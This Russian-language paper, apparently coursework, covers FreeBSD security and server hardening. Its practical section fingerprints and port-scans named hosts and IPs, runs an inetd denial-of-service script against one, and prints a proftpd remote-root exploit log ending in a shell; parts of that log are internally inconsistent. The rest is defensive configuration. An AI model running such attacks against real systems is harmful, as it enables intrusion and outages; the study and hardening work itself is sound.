Параметры IP пакетов
ограничиваем количество ICMP-ответов
	options ICMP_BANDLIM 
генерируем случайный идентификатор IP-пакетов
	options RANDOM_IP_ID 

В современных версиях ОС FreeBSD эти параметры необходимо устанавливать в /etc/sysctl.conf
	ICMP_BANDLIM => net.inet.icmp.icmplim=100
	RANDOM_IP_ID => net.inet.ip.random_id 

5. Защитные механизмы в FreeBSD.


Рассмотрим возможные удаленные угрозы на различных уровнях работы ОС FreeBSD (На основе уровней TCP/IP). Всё взаимодействие объекта атаки с субъектом ОС FreeBSD начинается с поступления фрейма на сетевую карту. Далее они проходят некоторую проверку со стороны ОС и собираются во фрагменты IP проходят проверку ещё раз собираются в пакеты TCP. Далее ОС дает ответ либо пакеты маршрутизируются дальше или собираются и передаются какому-нибудь внутреннему сервису.

Соответственно угрозы безопасности для FreeBSD будут обусловлены наличием уязвимых мест в реализации стека TCP/IP, в реализации механизма маршрутизации или фильтрации трафика, в механизме передачи информации сервисам,в реализации сервисов; а также в грамотной конфигурации защитных механизмов.

Таким образом, исследование уязвимостей ОС FreeBSD целесообразнее всего проводить следующим порядком:
В первую очередь на необходимо как можно точнее определить версию системы у запущенных на ней сервисов. Это можно сделать как удаленно, используя методы, описанные в 5-ой главе, так и локально – если проводится внутренняя проверка (проверить соответствующие конфигурационные файлы).

Следующим этапом будет тестирование удаленных уязвимостей в реализации TCP стека соответствующих этой версии ОС FreeBSD. Этот набор уязвимостей достаточно опасен – так как в большинстве случаев для их устранения необходимо обновлять версию операционной системы.

Можно привести следующие примеры:
• Стандарт RFC определяет, что хост должен генерировать seq число случайным образом. В ранних версиях FreeBSD возможно было, обменявшись 3-мя пакетами с сервером, подключится после этого в любую TCP сессию.
Так же в ранних версиях замечена не правильная реализация стека TCP/IP, заведомо неправильная расстановка флагов может привести к краху системы.
Ещё одно уязвимое место в реализации TCP/IP заключается в том что в ранней версии FreeBSD 5.0 были не реализованы рекомендации RFC 1122, о том что система должна отбрасывать входящие SYN фрагменты пакетов направленные на широковещательные адреса (broadcast, multicast). Для проверки необходимо отправить на в локальную сеть пакет с SYN флагом, направленный на широковещательный адрес. Системы FreeBSD от которых придет ответ подвержены этой уязвимости.

• Для фильтрации трафика в FreeBSD при использовании механизма маскарадинга – NAT, возможно использование правил фильтрации самого NAT сервиса. Например, команда nat deny_incoming запрещает инициализацию входящих соединений на внутренние адреса. Но из-за особенностей реализации в ранних версиях, при использовании нестандартных протоколов, таких как IPSEC происходило исключение из правил, и система пропускала пакет.

• Ipfw - Сервис системы обеспечивающий фильтрацию пакетов. FreeBSD 4.2 и FreeBSD 3.5 имеет уязвимое место. Он некорректно обрабатывает пакеты с флагом ECE. Во время проверки пакет с этим флагом считается частью установленного соединения без дополнительных проверок. Таким образом, если мы используем правило типа ‘allow tcp from any to x.x.x.x established’, возможен доступ к хосту.
Ipfw имеет уязвимое место в FreeBSD 4.2-4.3 при фильтрации правил использующих ‘me’. При работе с интерфейсом PPP по правило me попадает не только локальный но и удаленный адрес участвующий в соединении. Таким образом необходимо в этом случае отказаться от использования в правилах директивы ‘me’.

В следующую очередь необходимо рассмотреть все запущенные в системе сервисы, узнать точные их версии и провести проверки в соответствии с описанием их уязвимостей. Эти уязвимые места достаточно опасны, так как часто позволяют удаленному неавторизованному пользователю получить права в системе.
Можно привести следующие примеры:
• Для усиления безопасности подключения к telnetd можно было использовать протокол kerberos и авторизовыватся на kerberos сервере. В ранних версиях FreeBSD в механизме авторизации существовала уязвимость.
В ранних версиях FreeBSD есть уязвимое место в реализации сервиса telnetd. Сервер, используя переменную TERMCAP окружения клиента, начинает анализировать произвольный файл на диске или поток данных от устройства в /dev/. Это происходит ещё до начала фазы login, то есть позволяет неавторизованному пользователю проводить DOS-атаку.
// проверка уязвимости
>telnet
telnet> environ define TERMCAP /etc/termcap 
или environ define TERMCAP /dev/log
Пропатченный сервер выдает ошибку BAD_ENVIRON_VAR, современные версии ОС FreeBSD не содержат эту уязвимость и игнорируют параметр TERMCAP
//
Далее если найдены какие-то удаленные уязвимости, которые приводят к получению интерактивного доступа – shell, необходимо провести попытку расширения полномочий. В данном случае надо использовать модель нарушителя желающего получить максимальные права в системе. И в зависимости от успешности этих проверок можно сделать выводы о защищенности системы.
Если удаленные атаки не сработали, последним этапом может быть исследование системы от лица авторизованного пользователя. В это время проводится попытка расширения полномочий до прав суперпользователя используя локальные уязвимые места.

Полученная в итоге проверки информация может использоваться в рамках общего исследования компьютерной сети, так и для устанения уязвимостей в одной системе.
Штатные средства обеспечения безопасности FreeBSD
  1. Ограничение количества запущенных демонов (служб), с помощью inetd, tcp-wrappers
  2. Настройка соответствующих сетевых параметров.
  3. Использование шифрованных каналов передачи информации - например SSH.
  4. Ipfw , ipf , pf- механизм фильтрации входящих и проходящих пакетов.
  5. Разграничение прав пользователей.
  6. Изменение корня chroot и jail
  7. CVSup для свежих обновлений

Ограничение количества запущенных демонов (служб), с помощью inetd, tcp-wrappers

Inetd выступает в качестве управляющего сервера для других служб. Когда Inetd принимает соединение, он определяет, для какого сервиса предназначено соединение, вызывает соответствующий демон и предоставляет ему сокет. Запуск одного экземпляра inetd уменьшает общую нагрузку на систему по сравнению с запуском каждого даемона индивидуально в выделенном режиме. Но так как демон inetd является одним из узких мест в обеспечении безопасности как из-за количества уже обнаруженных уязвимых мест, и потенциальных уязвимостей. Необходимо отключить все сервисы, какие есть возможность вызывать подругому. Через Inetd можно запускать не критические редко используемые сервисы. Для этого необходимо редактировать файл
/etc/inetd.conf
а также запускать inetd с параметрами -c -C -R для уменьшения вероятности DOS атаки.
В дополнение к этому необходимо настроить правила сетевого брандмауэра системы, например ipwf или правила подключения через tcp-wrappers в файле /etc/hosts.allow, например:
sshd : localhost : allow sshd : x.x.x.x, x.x.x.x : allow 
# разрешить ssh запросы только из сетей x.x.x.x 
sshd : all : deny 
# запретить запросы ssh из остальных сетей 
ftpd : ALL : deny
#запретить подключение на ftp

Настройка соответствующих сетевых параметров

Для уменьшения опасности проведения DOS атак на систему, необходимо внести следующие добавления в файл /etc/sysctl.conf
net.inet.tcp.blackhole=2
net.inet.udp.blackhole=1
net.inet.ip.maxfragpackets=x Установить максимальное количество сохраняемых в кеше фрагментированных пакетов в соответствии с обьемом оперативной памяти.
добавить опцию в конфигурации ядра
options TCP_DROP_SYNFIN
а в /etc/rc.conf соответственно:
tcp_drop_synfin="YES"

Использование шифрованных каналов передачи информации - например SSH.

Для обеспечения дополнительной безопасности системе FreeBSd возможно использование таких криптографических протоколов как – OpenSSH, IPSEC, OpenSSL, Kerberos, и многие другие.

Ipfw , ipf , pf- механизм фильтрации входящих и проходящих пакетов.

С помощью этих брандмауэров можно ограничивать сетевой трафик в соответствии с потребностями.
Для организации собственной безопасности сервера можно использовать iptables или ipfw для ограничения сетевого трафика службам или пользователям согласно UID. Кроме тех случаев когда служба запускается от имени суперпользователя.

Разграничение прав пользователей.

При помощи команды chmod 600, мы разрешаем доступ только пользователю root на запись и чтение файла.
При помощи команды chmod 700, мы также даем возможность пользователю root возможность запускать файл.
chmod 0700 /root
chmod 0600 /etc/syslog.conf
chmod 0600 /etc/rc.conf
chmod 0600 /etc/newsyslog.conf
chmod 0600 /etc/hosts.allow
chmod 0600 /etc/login.conf
chmod 0700 /usr/home/*

Только пользователь root может видеть все запущенные процессы
kern.ps_showallprocs=0

Изменение корня chroot и jail

В ОС FreeBSD есть дололнительные средства для обеспечения безопасности, на случай если есть вероятность, что на сервис может быть проведена успешная атака. Использование Chroot вызывает выполнение указанной команды относительно нового корневого каталога. Для специфицированной команды и всех порожденных ею процессов начальный символ / в маршрутных именах означает новый_корень. Этот же каталог на время выполнения команды становится текущим. Таким образом, можно обеспечить то, что сервис не будет иметь достапа к остальной информации на диске. Использовать в скриптах запуска:

/etc/chroot новый_корень команда

Таким образом – при использовании chroot создается как бы виртуальная файловая система специально для конкретного сервиса, выйти за пределы которой он не может.

В более новых версиях OC FreeBSD, есть системный вызов jail
он заключает процесс и всех его потомков в изолированную среду выполнения. Это означает, что, в общем случае, процесс не может иметь доступ ни к чему, не принадлежащему этому jail-у. Более того, даже пользователь с uid 0 не имеет возможности выполнять большинство операций, которые он может выполнять снаружи jail-ла.

Внутри jail-а концепция суперюзера несколько нивелируется, т.к. ему запрещены следующие действия:
* Модификация запущенного ядра и загрузка ядерных модулей.
* Модификация любых сетевых конфигураций.
* Монтирование/размонтирование файловых систем.
* Создание файлов устройств (mknod).
* Доступ к raw, divert и routing сокетам.
* Модифицирование переменных ядра (sysctl).
* Изменение флагов файлов, связанных с securelevel (system flags).
* Доступ к сетевым ресурсам, не ассоциированным с IP адресом jail-а (например нет localhost).
Остальные операции разрешены
Таким образом мы видим, что ограничения внутри jail направлены на уменьшение потенциальной возможности влияния изнутри jail-а на ресурсы, ему не принадлежащие.

Если сервис не запущен с правами суперпользователя, то для обеспечения безопасности можем вполне обойтись Chroot, иначе лучше использовать jail.
Что обеспечит дополнительный эшелон безопасности, на то время пока окно опасности не будет закрыто другими сособами.

CVSup для свежих обновлений

Для того, чтобы исходные коды и документация всегда были обновленными, необходимо регулярно запускать cvsup при помощи задач cron.
cp /usr/share/examples/cvsup/stable-supfile /root
cd /root
vi stable-supfile
Исправьте следующие строки:
*default host= #ближайший CVS сервер
*default release=cvs tag=RELENG_4_8
#Здесь необходимо установить версию ОС

Для обновления приложений установить portupgrade и использовать
portupgrade <имя порта>


6. Практическое исследование сети на основе ОС FreeBSD.

Идентификация.

В первую очередь выясним, какие IP адреса доступны извне. Это можно делать различными способами: пинговать сеть, обращаться на TCP,UDP порты. Далее с помощью нашей утилиты freefingerprint определим, относится ли ОС к FreeBSD, а также точную версию ОС FreeBSD.

powr.pssr.ru (195.38.48.12)
not FreeBSD host, mabe Linux

po.pssr.ru (195.38.48.13)
Running: not FreeBSD host, mabe Linux

usb.pssr.ru (195.38.48.55)
Running: FreeBSD 4.8

ampr.pssr.ru (195.38.48.61)
Running: not FreeBSD host, mabe Linux

energo.pssr.ru (195.38.48.67)
OS details: FreeBSD 4.10-STABLE

ns.pssr.ru (195.38.48.68)
Running: FreeBSD 4.8

w2.pssr.ru (195.38.48.73)
Running: not FreeBSD host, mabe Linux

svc.pssr.ru (195.38.48.112)
Running: not FreeBSD host, mabe Linux

195.38.48.176
Running: not FreeBSD host, mabe Linux

Таким образом, интересующие нас системы это
usb.pssr.ru (195.38.48.55)
energo.pssr.ru (195.38.48.67)
ns.pssr.ru (195.38.48.68)
Проанализировав известные удаленные уязвимости получили, что energo.pssr.ru не имеет уязвимостей, а другие 2 системы имеют 5 удаленных уязвимых мест которые мы будем проверять. Далее проведем поиск открытых портов и соберем баннеры сервисов установленных на системе.
Interesting ports on usb.pssr.ru (195.38.48.55):
PORT     STATE  SERVICE>
25/tcp     open       smtp
53/tcp     open       domain
21/tcp    open        ftp
80/tcp     open       http
443/tcp   open      https
1723/tcp open      pptp

Interesting ports on ns.pssr.ru (195.38.48.68):
(The 1614 ports scanned but not shown below are in state: closed)
PORT     STATE    SERVICE
25/tcp   open     smtp
53/tcp   open     domain

nteresting ports on energo.pssr.ru (195.38.48.67):
(The 1612 ports scanned but not shown below are in state: closed)
PORT     STATE    SERVICE
25/tcp    open          smtp
53/tcp    open         domain
113/tcp  open         auth
119/tcp  open         nntp
Тестирование.
На сервере usb версия ОС FreeBSD 4.8, подверженная уязвимости inetd демона.
Через это демон, скорее всего, запускаются службы ftp, http.
Для проверки используем скрипт /xploit/inetd47.pl
++++++++
perl inetd48.pl 195.38.48.55 21
сразу после этого пробуем подключистся к ftp

ftp 195.38.48.55
ftp: connection refused

как мы видим, в подключении отказано.
Данное уязвимое место позволяет произвести отказ в обслуживании на время до 10 минут.

Далее путем сбора баннеров и используя различные утилиты определяем что ftp-сервис – это proftpd 1.7.2. В уязвимостях портов есть эксплоит для данного сервиса.
Используем этот эксплоит для проверки.
@---------------------------------------------------------@ 
# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-1.20 # 
@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ 
----------------------------------------------------------- 
[+] Ret address:0xbffff25c 
[+] Trying 220volt.info:21....ok 
[+] Get banner:ok 
<== 220 ProFTPD 1.2.9 Server (ProFTPD Default Installation) [lauryn.e-neverland.net] 
[+] User demoacc logged in 
[+] PORT 66,79,183,51,135,8 
[+] STOR file 151991519915199.txt 
[+] Listening on 34568 ....ok 
[+] Accepted a client from 	195.38.48.55 
[+] Trying 220volt.info:21....ok 
[+] Get banner:ok 
<== 220 ProFTPD 1.2.9 Server (ProFTPD Default Installation) [lauryn.e-neverland.net] 
[+] User demoacc logged in 
[+] PORT 66,79,183,51,135,8 
[+] RETR file 151991519915199.txt 
[+] Listening on 34568 ....ok 
[+] Accepted a client from 195.38.49.55 
[+] The First time read:ok 
[+] PORT 66,79,183,51,135,9 
[+] RETR file 151991519915199.txt 
[+] Listening on 34569 ....ok 
[+] Accepted a client from 195.38.48.55 
[+] Is it a shell on 195.38.48.55:43543

Как мы видим, эксплоит работает,
теперь мы можем получить shell с правами proftpd.
telnet 195.38.48.55 43543
[Shell] CONNECT 220volt.info
>

Далее произведем проверку на наличие локальных уязвимостей, которые позволят расширить привилегии до прав суперпользователя.

Для начала соберем точную информацию об операционной системе:
ftp>uname –a
FreeBSD usb.pssr.ru 4.8-RELESE FreeBSD: Mon Oct 15 2002 
root@freebsd-stable.sentex.ca:/usr/obj/usr/src/sys/GENEIC  i386
Проверяем файлы конфигурации, к которым есть доступ.
Ничего опасного найти не удалось.
Зато в этой системе есть локальная уязвимость в обработке сигналов процессами. Часть сервисов некорректно обрабатывает большие отрицательные сигналы. Так что, устроив перебор различных значений, мы можем ривести систему к отказу в обслуживании.
В данном случае необходимо установить соответствующие обновления и выполнить часть рекомендаций из раздела 7 этой работы.

Рекомендации по настройке системы и её защитных механизмов для построения безопасносго сервера

Далее будут даны рекомендации для начальной конфигурации сервера для обеспечения безопасности.
7.1. Настройка
Отключаем временно inetd.
Отключаем port_map (если не планируется использовать NFS).
Откажемся от ntp, вместо этого мы используем rdate, при обновлении будут использоваться ntp-сервера.

Нам необходимо установить коллекцию портов, которая будет расположена в /usr/ports.
После этого мы должны установить следующие порты:
/security/chrootkit 
/sysutils/rdate 
/sysutils/portupgrade 
/net/cvsup-without-gui

7.2. Настройка пользователя удаленного доступа и учетных записей для сервисов.
Так как мы запрещаем удаленную регистрацию под пользователем root через ssh, очень важно создать дополнительного пользователя. Для этого необходимо создать пользователя, который должен быть в группе wheel, что позволит ему в дальнейшем регистрироваться под пользователем root при помощи команды su.
Создадим группу для пользователей, которые могут иметь удаленный доступ:
pw groupadd sshusers
pw useradd   -g sshusers –s /usr/local/bin/bash
Дальше в зависимости от того, какие сервисы планируется установить на сервере:
pw groupadd apache
pw useradd apache -d /dev/null -g apache -s /sbin/nologin
или
pw groupadd mysql
pw useradd mysql-c " mysql Сервер "-d/dev/null-g mysql-s/sbin/nologin

7.3. Определение сообщения дня
cp /etc/motd /etc/motd.old 
rm /etc/motd 
vi /etc/motd 
В содержании этого файла вам необходимо написать предупреждение о том, что доступ к данному серверу имеют только зарегистрированные пользователи и только для выполнения задач, которые разрешены на этом сервере. Также необходимо указать, что, регистрируясь на данном сервере, пользователь соглашается с системной политикой этого сервера, что очень важно в случае возникновения судебных разбирательств с пользователями.
cp /etc/motd /etc/issue 
# мы будем использовать motd для показа
# при удаленной регистрации. 
# см. также /etc/ssh/sshd_config 
 

7.4. OpenSSH
Мы будем настраивать авторизацию через DSA ключи, без использования паролей. Конечно если кто-то получит доступ к вашему ssh-клиенту с dsa ключами, у вас возникнут проблемы, точно также если кто-то узнает ваш пароль. Используя dsa ключи, мы избавляемся от возможности взломать нашу систему путем перебора паролей.
Откройте и отредактируйте файл /etc/ssh/sshd_config для настроек параметров демона, к которому обращаются пользователи при удаленном доступе к вашему серверу.
vi /etc/ssh/sshd_config 
Port 22 
Protocol 2 
#Hostkey /etc/ssh/ssh_host_key 
PermitRootLogin no 
MaxStartups 5:50:10 
# после 5 неправильных регистраций,
# отторгать 50% новых подключений, и
# не отвечать совсем, если число 
# неправильных регистраций превысило 10 
X11Forwarding no 
PrintLastLog yes 
SyslogFacility auth 
# писать информацию о регистрациях в
# лог-файл to /var/log/auth. 
LogLevel VERBOSE 
# обычно OpenSSH - это единственный путь
# удаленного доступа к системе, мы
# хотим получать наиболее полную
# информацию от этого сервиса. 
PasswordAuthentication no 
PermitEmptyPasswords no 
Banner /etc/issue 
AllowGroups sshusers 
# группа, которой разрешена
# регистрация через SSH; можно указать 
# несколько групп через запятую. 
Теперь откроем и отредактируем файл /etc/ssh/ssh_config
vi /etc/ssh/ssh_config 
ForwardAgent no 
ForwardX11 no 
PasswordAuthentication no 
CheckHostIP yes 
Port 22 
Protocol 2 
Теперь, давайте сгенерируем DSA ключи для авторизации с пользователем, AKA
su - noprivuser
ssh-keygen -d 

На экране появится строка: 
Generating public/private dsa key pair. 
Enter file in which to save the key 

#введите файл, в который сохранить ключ 
(/home//.ssh/id_dsa): 
# значение по умолчанию 
Enter pass phrase (empty for no pass phrase):
# введите пароль для ключа или без пароля 
Enter pass phrase (empty for no pass phrase):
# подтверждение пароля 
Your identification has been saved in /home//.ssh/id_dsa.
#Идентификационный ключ сохранен в .... 
Your public key has been saved in /home//.ssh/id_dsa.pub
#Публичный ключ сохранен в ... 
The key fingerprint is (отпечаток ключа):
xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx @ 
cd .ssh
cat id_dsa.pub > authorized_keys2 
Теперь необходимо скопировать ключ на дискету и перенести на компьютер, с которого вы хотите подключаться к серверу.
Убедитесь, что файл с ключом находится на дискете, потом удалите файл с ключом из директории .ssh пользователя. Убедитесь, что дискета в безопасном месте и защищена от записи.
7.5. rc.conf
vi /etc/rc.conf 
inetd_enable="YES" 
syslogd_enable="YES" 
# Если вы планируете настроить
# удаленную регистрацию событий, тогда пропустите следующую строку.
# Если файлы регистрации событий будут расположены на локальном диске,
# убедитесь что у вас смонтирован раздел /var. 
syslogd_flags="-ss" 
# Этим мы закроем 514 udp порт если мы не хотим использовать удаленную
# регистрацию событий на или с этого сервера. Естественно не нужно добавлять
# эту строчку, если вы планируете настроить удаленную регистрацию событий.
icmp_drop_redirect="YES" 
# Отключаем прием и отправку переадресовующих ICMP пакетов. 
icmp_log_redirect="YES" 
# Регистрировать переадресовующие ICMP пакеты в журнальном файле 
clear_tmp_enable="YES"
# Очищать директорию /tmp при загрузке. 
portmap_enable="NO" 
# Если не используется NFS 
icmp_bmcastecho="NO" 
# Предотвращает springboarding и smurf атаки, запрещая серверу отвечать
# на широковещательные ping-пакеты. 
fsck_y_enable="YES" 
# При ошибках файловой системы на этапе загрузки утилита fsck будет
# запущена с флагом -y (man fsck) 
update_motd="NO" 
#Не обновлять файл с сообщением дня /etc/motd 
tcp_drop_synfin="YES" 
# Отбрасывать synfin пакеты. Смотри ниже, необходимые изменения в ядре. 
log_in_vain="YES" 
# Установите эту опцию, если вы хотите записывать все попытки подключения
# к закрытым портам вашего сервера. 
sshd_enable="YES" 
# Это позволит сделать удаленный доступ к серверу более защищенным. 

7.6. login.conf & auth.conf
Алгоритм md5, использующийся для шифрования паролей будет заменен на Blowfish алгоритм, который еще не взломан. Будут сделаны дополнительные настройки для защиты паролей, которые помогут обезопасить сервер.
vi /etc/login.conf 
Делаем исправления в секции default:\ 
:passwd_format=blf:\ 
# заменяем алгоритм криптования паролей на
# Blowfish вместо идущего по умолчанию md5. 
:passwordtime=52d:\ 
# период устаревания паролей 52 дня. 
:mixpasswordcase=true:\ 
# предупреждать пользователей о том что пароли должны содержать
# разные символы (mixed-case passwords) 
:minpasswordlen=9:\ 
# минимальная длина пароля 9 символов 
:idletime=32:\ 
# автоматически отключать пользователей после
# 32-х минут бездействия 
Теперь делаем базу.
cap_mkdb /etc/login.conf
Далее необходимо изменить пароли всех пользователей, для того, что бы они были закриптованы при помощи алгоритма Blowfish.
Убедитесь в этом просмотрев /etc/master.passwd.
Обратите внимание на второе и последнее поля, которые разделены:
Второе поле содержит пароль пользователя в зашифрованном виде. Убедитесь, что он начинается с $2. Это говорит о том, что вы удачно перешли с md5 алгоритма криптования на Blowfish.
Последнее поле определяет шелл пользователя. Для пользователей, которые будут использовать bash, должно быть написано /usr/local/bin/bash. Для пользователей, которые не должны иметь права регистрироваться в системе, например пользователь www для Apache, должно быть написано /sbin/nologin. Удалите пользователя toor
Теперь сделаем что бы пароли пользователей, которые будут добавляться в дальнейшем, криптовались алгоритмом Blowfish.
vi auth.conf crypt_default=blf

7.7. sysctl.conf
vi /etc/sysctl.conf
net.inet.tcp.blackhole=2
# Это превращает машину в черную дыру при попытке подключиться к портам,
# которые не обслуживаются сервером.
net.inet.udp.blackhole=1
kern.ps_showallprocs=0
# только пользователь root может видеть все запущенные процессы

8.8. fstab
Теперь добавим некоторые параметры к некоторым точкам монтирования. Например, нет надобности кому-либо иметь возможность запускать программы из /tmp Есть более серьезные ограничения, которые вы можете сделать при помощи настроек в файле /etc/fstab. Например, вы можете сделать некоторые точки монтирования только читаемые, такие как /usr/local/, но это значит, что вы должны иметь копию менее ограничивающего файла /etc/fstab на случай обновлений системы или установки дополнительного программного обеспечения. В нашем случае мы установим только те параметры, которые не придется менять в течение работы.
#Device		Mountpoint FStype Options 	Dump	Pass#
					
/dev/ad0s1b none       swap	  sw	  	0		0
/dev/ad0s1a /          ufs	  rw	  	1		1
/dev/ad0s1f /tmp       ufs	  rw,noexec	2		2
/dev/ad0s1g /usr       ufs	  rw	  	2		2
/dev/ad0s1h /usr/home  ufs	  rw,nosuid,noexec	2	2
/dev/ad0s1i /var       ufs	  rw,noexec	2		2
/dev/fd0    /floppy    MSDOS  rw,noauto,noexec,nosuid,nodev,noatime	0	0
/dev/acd0c  /cdrom     cd9660 ro,noauto	0		0
proc        /proc      procfs rw		0		0

Список опций, которые были заданы:
ro: только чтение,
rw: чтение запись (устанавливается по умолчанию),
sw: своп,
nosuid: опция suid не работает,
noexec: запрет на запуск файлов,
nodev: запрещает отображение файлов в виде устройств,
noauto: не монтируется автоматически во время загрузки,
noatime: препятствует файловой системе делать запись о доступе к файлу.

7.9. CVSup и Portupgrade Для того, чтобы исходные коды и документация всегда были обновленными, должны регулярно запускаться cvsup при помощи задач cron. Обратите внимание, что мы не используем обновление портов, а просто будем регулярно обновлять необходимые исходные коды. А для обновления определенных портированных сервисов будем использовать portupgrade.

cp /usr/share/examples/cvsup/stable-supfile /root
cd /root
vi stable-supfile

Исправьте следующие строки:
*default host=
# на странице http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cvsup.html
# найдите cvsup зеркало, которое наиболее быстрее будет отвечать на ваши запросы,
# при помощи команды ping и введите его здесь.
#Это 68 строка в файле.
*default release=cvs tag=RELENG_4_7
#зависит от версии операционной системы, которую вы используете.
#Это 73 строка файла.
#src-all
#закомментируйте это, хотя бы потому, что нам не нужны исходные коды src-game.
#Это 84 строка в файле.

В следующей секции файла раскомментируйте, разделы исходных кодов которые вы хотите обновлять, можно также включить и src-games. Для дополнительной информации обращайтесь к списку использованных источников в конце этого файла.

Для обновление сервисов из новых исходников необходимо выполнять:
portupgrade <название порта>

7.10. Cron Jobs
chmod 0600 /etc/crontab 
# только пользователь root должен иметь доступ к файлу настройки cron 
touch /var/cron/deny 
# добавьте в этот файл всех пользователей, которым запрещено использовать cron 
chmod 0600 /var/cron/deny 
Теперь добавим несколько задач, которые должны выполнятся регулярно. 
vi /etc/crontab 0 2 * * * root /usr/libexec/locate.updatedb 
# обновлять базу данных утилиты locate каждое утро в 2 часа. 
0 2 * * * root/usr/local/sbin/rdate yourNTPserver 
# запускать rdate каждое утро в 2 часа. 
1 3 * * * root/usr/local/sbin/chkrootkit 
# запускать chkrootkit каждый месяц. 

7.11. Kernel Changes (изменения в ядре)
Сделайте следующие изменения в конфигурационном файле вашего ядра и перекомпилируйте его. Вы можете найти эти и другие опции ядра в файле /usr/src/sys/i386/conf/LINT.
#pseudo-device bpf 
#Berkley Packet Filter. Защита от снифинга на уровне ядра.
#Не убирайте эту опцию, если собираетесь использовать dhcp. 
options     SC_NO_HISTORY 
# отменяем историю команд на виртуальных терминалах
 
options     SC_DISABLE_REBOOT 
# отменяем перезагрузку по комбинации клавиш ctl-alt-del
 
options     SC_DISABLE_DDBKEY 
# отменяем debug key
 
options     TCP_DROP_SYNFIN 
# смотри выше в разделе rc.conf.

options    RANDOM_IP_ID 
# случайный идентификатор IP пакетов препятствует
# idlescan-style сканирования. Мешает взломщику
# определить разряд(rate) генерации пакетов.
 
options    ICMP_BANDLIM
# Если вы решите разрешить пакеты icmp к вашему серверу, этот
# параметр, ограничит количество ответов, что помогает при
# защите от DOS атак.

7.12. Права доступа к файлам
При помощи команды chmod 600, мы разрешаем доступ только пользователю root на запись и чтение файла.
При помощи команды chmod 700, мы также даем возможность пользователю root возможность запускать файл.
chmod 0700 /root 
chmod 0600 /etc/syslog.conf 
chmod 0600 /etc/rc.conf 
chmod 0600 /etc/newsyslog.conf 
chmod 0600 /etc/hosts.allow 
chmod 0600 /etc/login.conf 
chmod 0700 /usr/home/* 
Таким образом мы ограничиваем права на критические ресурсы.

7.13. Сетевой Протокол Времени (Network Time Protocol)
Как вы уже заметили, в нашем crontab файле (файл настройки системы crontab) мы используем rdate вместо ntp для синхронизации часов сервера с мировым временем. Точное время на сервере является очень важным пунктом для правильного ведения журнальных файлов и часто помогает при разрешении конфликтов и устранении неисправностей.
vi /etc/ntp.conf
restrict default ignore
# не работать в качестве ntp сервера.

7.14. TCP Wrappers
vi /etc/hosts.allow
sshd : localhost : allow sshd : x.x.x.x, x.x.x.x : allow
# разрешить ssh запросы только из сетей x.x.x.x
sshd : all : deny
# запретить запросы ssh из остальных сетей
В случае, если вы будете подключаться к серверу с динамически выделяемых IP адресов, найдите другой защищенный сервер с статическим IP адресом, на который вы можете заходить через ssh, и используйте его в качестве шлюза для подключения к вашему серверу.

7.15. Console Access (доступ к консоли)
Мы блокируем неавторизованный доступ в однопользовательском режиме. Изменение прав доступа к первой консоли означает, что вы не сможете войти в систему в однопользовательском режиме, не зная пароля пользователя root.
vi /etc/ttys
console none unknown off insecure
# запрашивать пароль пользователя root в однопользовательском режиме.
ttyv0   "/usr/libexec/getty Pc"  cons25   on   insecure
# Virtual terminals 
ttyv1   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv2   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv3   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv4   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv5   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv6   "/usr/libexec/getty Pc"  cons25   on   insecure
ttyv7   "/usr/libexec/getty Pc"  cons25   on   insecure

7.16 Bash Shell
vi /usr/share/skel/.bash_logout
# Файл .bash_logout, созданный в домашнем каталоге каждого
# пользователя, с командой "clear" будет очищать экран при
# выходе пользователя из системы. Скопируйте в домашний
# каталог пользователя root.
clear

7.17. chflags
Команда chflags увеличивает уровень безопасности (the level of security) на указанных файлах. Эта команда особенно полезна для исполняемых или конфигурационных файлов, код или информация которых может быть испорчены другими программами/действиями.
Рассмотрите возможность применения команды chflags к приложениям, которые запускаются на вашем сервере, а также к важным конфигурационным файлам.

Запуск команды производится следующим образом:
chflags [no]appnd или [no]schg имя файла
Наберите ls -ol (буквы o и l в маленьком регистре) для просмотре измененных свойств файла. Должны быть два флажка, которые вы заметите.
sappnd - переводит файл в append-only режим и только для пользователя root. Другими словами, в файл можно добавить любые данные, но первоначальная информация не может быть изменена/удалена.
schg - делает файл изменяемым только для пользователя root.
Обе команды имеют префиксы.
"u" перед sappnd или schg применяет те же опции, но при этом добавляет владельца файла в список пользователей, которые будут иметь доступ к этому файлу.
"no" перед sappnd или schg отменит chflag опцию на файле.

7.19 Дополнительные сервисы в chroot/jail окружении
Используя chroot/jail cоздадим дополнительный эшелон защиты. Если какой либо сервис всетаки будет атакован, во время окна опасности, при появлении новой уязвимости, это не приведет к компроментации всего сервера.

7.19.1 Apache в chroot окружении
Установка сервера
Для начала необходимо скачать стабильную последнюю версию сервера с apache.org в исходных кодах.

Компиляция производится под root'ом:
~# su
~# ./configure --prefix=/usr/local/apache --server-uid=apache --server-gid=apache \
--disable-module=all --enable-module=access --enable-module=dir \
--enable-module=mime --enable-module=auth \
--enable-module=log_config
~# make
~# make install
~# chown -R root:sys /usr/local/apache
Apache установлен в каталог /usr/local/apache со следующими модулями:
- acces - для разрешения или запрещения доступа
- dir - для работы сервера с index файлами
- mime - для заголовка Content-Type
- auth - аутентификация пользователей с использованием текстовых
файлов
- log_config - для ведения log журналов.
Создание chroot окружения
Далее необходимо создать chroot окружение:
~# mkdir -p /chroot/httpd/etc
~# mkdir -p /chroot/httpd/dev
~# mkdir -p /chroot/httpd/www
~# mkdir -p /chroot/httpd/var/run
~# mkdir -p /chroot/httpd/usr/lib
~# mkdir -p /chroot/httpd/usr/libexec
~# mkdir -p /chroot/httpd/usr/local/apache/bin
~# mkdir -p /chroot/httpd/usr/local/apache/logs
~# mkdir -p /chroot/httpd/usr/local/apache/conf
~# chown -R root:sys /chroot
Домашним каталогом сервера будет устройство /dev/null, поэтому создадим его:
~# mknod /chroot/httpd/dev/null c 2 2
~# chown root:sys /chroot/httpd/dev/null
~# chmod 666 /chroot/httpd/dev/null
Для правильной работы сервера необходимо создать сокет для syslogd (/chroot/httpd/dev/log).
~# syslogd -l /chroot/httpd/dev/log
